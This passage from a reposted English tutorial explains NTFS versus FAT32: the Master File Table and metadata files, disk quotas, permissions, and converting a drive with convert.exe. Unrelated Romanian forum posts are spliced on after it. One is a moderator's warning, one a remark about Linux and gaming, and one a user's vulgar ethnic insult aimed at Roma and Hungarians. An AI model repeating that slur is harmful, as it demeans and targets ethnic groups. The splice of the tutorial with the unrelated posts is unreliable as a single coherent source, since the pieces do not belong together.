will be moved outside the MFT, and a pointer will direct the system to all the clusters containing the data attribute of the file. The system can then retieve the data. Metadata The MFT is known as a metadata file. Metadata is essentially data about data. NTFS uses metadata files to manage data on the partition . Some of the more important metadata files include the MFT Mirror, Log File, Cluster Allocation Bitmap, Bad Cluster File, and Quota Table. It's pretty easy to figure out that the MFT Mirror is just a backup copy of the MFT. NTFS stores the MFT at the beginning of a hard drive's platter, and places the MFT Mirror in the middle of the platter. If the original MFT becomes damaged, the MFT Mirror will provide the necessary information to recover data on the system. The Log File, also known as the Change Log Journal, records changes made to the file system. The Log File only records actions taken, not data which is modified. In other words, it can tell you when Windows writes a document to the file system but not what data the document contained. The Log File is useful to Anti-Virus programs, Backup utilities, and other applications which have an interest in knowing when changes occur to the file system. The Cluster Allocation Bitmap is a map of the partition. The system uses the information contained in the Cluster Allocation Bitmap to locate available clusters to write new data to. The Bad Cluster File is similar, but it marks sections of the hard drive that have gone bad; and the system will not store data in these marked clusters. The Quota Table is a feature new in Windows 2000 and Windows XP. Using quotas, you are able to control how much hard drive space a directory and its subdirectories (folders and subfolders) can use. It allows you to control how other users on the PC utilize hard drive space. This will allow you to limit just how much storage space your son can consume for his mp3 files, or keep a family member from stocking up three years worth of e-mail messages. Smaller Clusters Since NTFS can support more clusters than FAT32, the result is NTFS clusters are generally smaller and more efficient. XP and 2K have a default cluster size of 4KB. But if you are converting a FAT file system to NTFS, you will have 512-byte clusters. This may cause you to have a slight performance hit. NTFS Security Support for file and directory permissions is one of the major benefits of using NTFS. This security feature insures that only certain users have access to specific files and directories. For example, you can grant Bill complete access to a directory, while preventing Mary from ever seeing its contents. The security for Windows XP Home Edition is a bit different, NTFS only provides what is known as simplified security. Provided you have set up multiple password-protected user accounts, you can mark certain directories as private. Other users won't have access to your private directories. The information about file and directory permissions is stored in the Security Descriptor file attribute. When you try to access a file, XP will look at who is logged on; then compare that information to the information in the Security Descriptor file attribute for the file. If it finds you have permission to access the file, it will look up the location of clusters containing the file and open it for you. If you don't have permission to access the file, XP will let you know. Which File System Is For You? When you install XP, you will have to decide whether to install NTFS or FAT32. FAT32 is most useful on multi-boot machines (PC's with more than one OS installed that let you choose which OS you want each time you boot) when file system compatibility is important. If you use a multi-boot computer and want to keeps things simple, install Windows XP on a FAT32 partition. If you are like me and want to play with NTFS but still need to maintain some file system compatibility, you can install XP on an NTFS partition and create a separate FAT32 partition to use specifically for sharing documents between your multiple Operating Systems. If XP is going to be the only OS on your PC, try using NTFS. In most cases, NTFS will be the most efficient choice and, it offers a range of advanced features which are not present in FAT32. Converting A File System f you have already installed your Windows XP on a FAT16 or FAT32 partition and now want to upgrade to NTFS, the convert.exe utility will let you do just that. To convert a partition: 1. Click on the Start button. 2. Highlight All Programs, Accessories, and click on Command Prompt. 3. Type convert.exe c: /fs:ntfs. This will convert your C drive (replace "c" with the proper drive letter to convert another drive). 4. XP will prompt you to enter a volume name. The name you enter will appear next to the drive in My COmputer. 5. If you specified the partition that has XP installed on it, the utility will ask if you want to convert the next time you boot the system. Click Yes and reboot. The conversion process will create the MFT and other metadata files in free space and won't overwrite any FAT clusters until the NTFS file system is in place. This means if you experience an error during the conversion process, the system should fall back to the FAT file system without losing any data. It also means that you'll need some free space to convert an existing FAT partition. The exact amount of free space required varies according to the size of the partition and the amount of data it contains. Please be aware that converting to NTFS is a one-way trip. Once the conversion is complete, the only way to return to a FAT file system is to reformat the hard drive, thereby destroying any existing data in the process. Author: Tom Bair Source: Security Forums :: View topic - [Tutorial] Basic Guide to FAT vs. NTFS Republished with the permission of the author and Security-Forums Dot Com.

Pentru a mia oara, nu mai postati aici la Offtopic daca topicul se incadreaza in alte categorii ca CERERI sau AJUTOR. Ai o problema, iti trebuie ceva anume? NU postezi aici. Citit asta: http://rstcenter.com/forum/28329-topicurile-de-la-offtopic.rst M-am plictisit sa dau avertismente pentru asta.

Sincer, nu stau sa citesc tot articolul. Pe scurt: MUIE la tigani si la unguri!

Ce rost are sa iti bagi Linux daca vrei sa joci Counter? Il folosesti foarte rar, cand ai stricta nevoie de ceva si nu exista alternativa Linux.